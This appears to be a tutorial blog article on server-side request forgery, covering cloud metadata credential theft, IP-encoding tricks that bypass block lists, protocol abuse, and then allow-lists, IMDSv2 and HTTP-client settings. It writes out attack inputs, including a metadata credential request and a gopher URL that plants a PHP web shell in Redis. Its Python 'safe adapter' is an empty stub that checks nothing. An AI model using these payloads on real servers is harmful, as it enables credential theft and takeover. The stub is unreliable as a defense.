
SSRF: Server-Side Request Forgery
Understanding SSRF attack principles and defense methods through practical experience

Understanding SSRF attack principles and defense methods through practical experience
Redirecting HTTP to HTTPS isn't enough to secure your users. You are still vulnerable to Man-in-the-Middle (MITM) attacks during that first split-second redirect. Learn how HSTS (HTTP Strict Transport Security) forces browsers to use HTTPS automatically, closing that critical security gap.

I found my website running inside an iframe on a shady domain. I dive deep into 6 essential security headers (HSTS, X-Frame-Options, CSP, Permissions-Policy, etc.) to stop Clickjacking and XSS, with implementation guides for Nginx and Next.js.

3 days after launch, our DB CPU spiked to 100%. Logs showed a SQL Injection attack. This is a war story of how we urgently deployed AWS WAF to block the attack. I also explain Positive vs Negative Security Models and the OWASP Core Rule Set (CRS).

I share how I hacked my friend's website with a single line of SQL Injection in high school. I explain the OWASP Top 10 vulnerabilities every developer must know allowing you to 'think like a hacker'. I focus on Injection, Broken Access Control (IDOR), Cryptographic Failures, and Security Misconfiguration.

SSRF (Server-Side Request Forgery) is an attack where the attacker tricks the server into making requests to Internal Network resources that the attacker cannot access directly.
Hackers usually attack from outside the firewall, but SSRF makes "The Server Attack Itself". It's like tricking a bank teller into opening the vault for you via a phone call.
Many developers think "I'm safe because I use Cloud", but SSRF is deadlier in Cloud environments.
AWS EC2 instances can query their own metadata via a special IP 169.254.169.254.
The problem is, this often contains IAM Role Credentials (Access Key, Secret Key).
# Attacker sends this request to your web app
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role
If your web server executes this request and returns the result to the attacker? The attacker gains Admin Access to your server. They can delete S3 buckets or mine crypto.
The massive Capital One Breach was caused by SSRF.
169.254.169.254).Attackers are creative. If you block 127.0.0.1, they use:
2130706433 (Ping it, it works!)0177.0.0.10x7f000001127.0.0.1.nip.io maps to 127.0.0.1.①②⑦.⓪.⓪.① (Some parsers normalize this).SSRF isn't exclusive to AWS. Google Cloud (GCP) and Azure have similar metadata services.
Metadata-Flavor: Googlehttp://metadata.google.internal/computeMetadata/v1/Metadata: truehttp://169.254.169.254/metadata/instance?api-version=2021-02-01AWS EC2 Instance Connect allows you to SSH into an instance using a temporary key pushed via metadata service. If an attacker has SSRF, they could potentially push their own SSH key to the instance metadata and gain Root Access to the server. This demonstrates that SSRF is not just about reading data; it can lead to Remote Code Execution (RCE).
After this, AWS released IMDSv2 (requires Session Token) to prevent this.
It's not just about HTTP. If your server uses libraries like cURL, it might support other protocols.
file://: Read local files. file:///etc/passwd.
dict://: Communicate with Redis.
gopher://: The king of SSRF. Can construct ANY TCP packet.
gopher://127.0.0.1:6379/_SET%20shell%20%22%5C%5C%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%20%3F%3E%22
Sometimes the server doesn't return the response body (unlike the Capital One case). But you can still exploit it:
http://{user}.attacker.com). By checking your DNS logs, you know which user triggered it.Simple "URL Check" is not enough. You need Layered Defense.
The most robust way is using an Allow-list.
// ✅ Safe: Domain Whitelist
const ALLOWED_DOMAINS = ['api.google.com', 'graph.facebook.com'];
function isValidUrl(inputUrl) {
try {
const url = new URL(inputUrl);
// 1. Verify Scheme
if (!['http:', 'https:'].includes(url.protocol)) return false;
// 2. Verify Hostname
return ALLOWED_DOMAINS.includes(url.hostname);
} catch (e) {
return false; // Invalid URL format
}
}
Control Outbound Traffic.
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-endpoint enabled
Configure your HTTP client to disable redirects and dangerous protocols.
Node.js (Axios):axios.get(url, {
maxRedirects: 0, // Prevent redirect following
timeout: 1000, // Short timeout to prevent DoS
host: 'example.com', // Fix Host header
});
Python (Requests):
# Create a custom adapter to block local IP ranges
class SafeAdapter(requests.adapters.HTTPAdapter):
def send(self, request, **kwargs):
# Check IP here before sending
pass
session = requests.Session()
session.mount('http://', SafeAdapter())
session.get(url)
PHP (cURL):
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
Even if the request was sent, do not show the raw response to the user. Check Content-Type and format. If you expect JSON, parse it as JSON. If it's HTML/XML when you expected JSON, drop it.
How do you know if you are vulnerable? Use these tools:
Q. Is Axios or Request library safer than fetch?
A. No. It's logic, not library. Any HTTP client is vulnerable if it requests user input without validation. Axios follows redirects by default too.
Q. Is Redirect safe?
A. Dangerous. You request http://safe.com, but it redirects (302) to http://internal-server. Many libraries follow redirects automatically. Disable follow redirects or validate the final URL.
Wait, validating the final URL is tricky because of Race Conditions. The DNS might resolve differently the second time.
Q. What is DNS Rebinding?
A. evil.com points to 1.2.3.4 (External) during check, then swaps to 127.0.0.1 (Internal) during fetch (TOCTOU - Time Of Check To Time Of Use).
Prevention:
GET / with Host: original-host header).Q. Use cases for Gopher protocol in SSRF?
A. Gopher is a legacy protocol but very powerful for attackers. It allows sending newlines (\r\n), which means you can craft valid HTTP, Redis commands, or SMTP commands within a Gopher URL.
Example: gopher://127.0.0.1:6379/_SET%20key%20value. This sets a key in local Redis.
Always disable unused protocols like Gopher, wrappers, etc.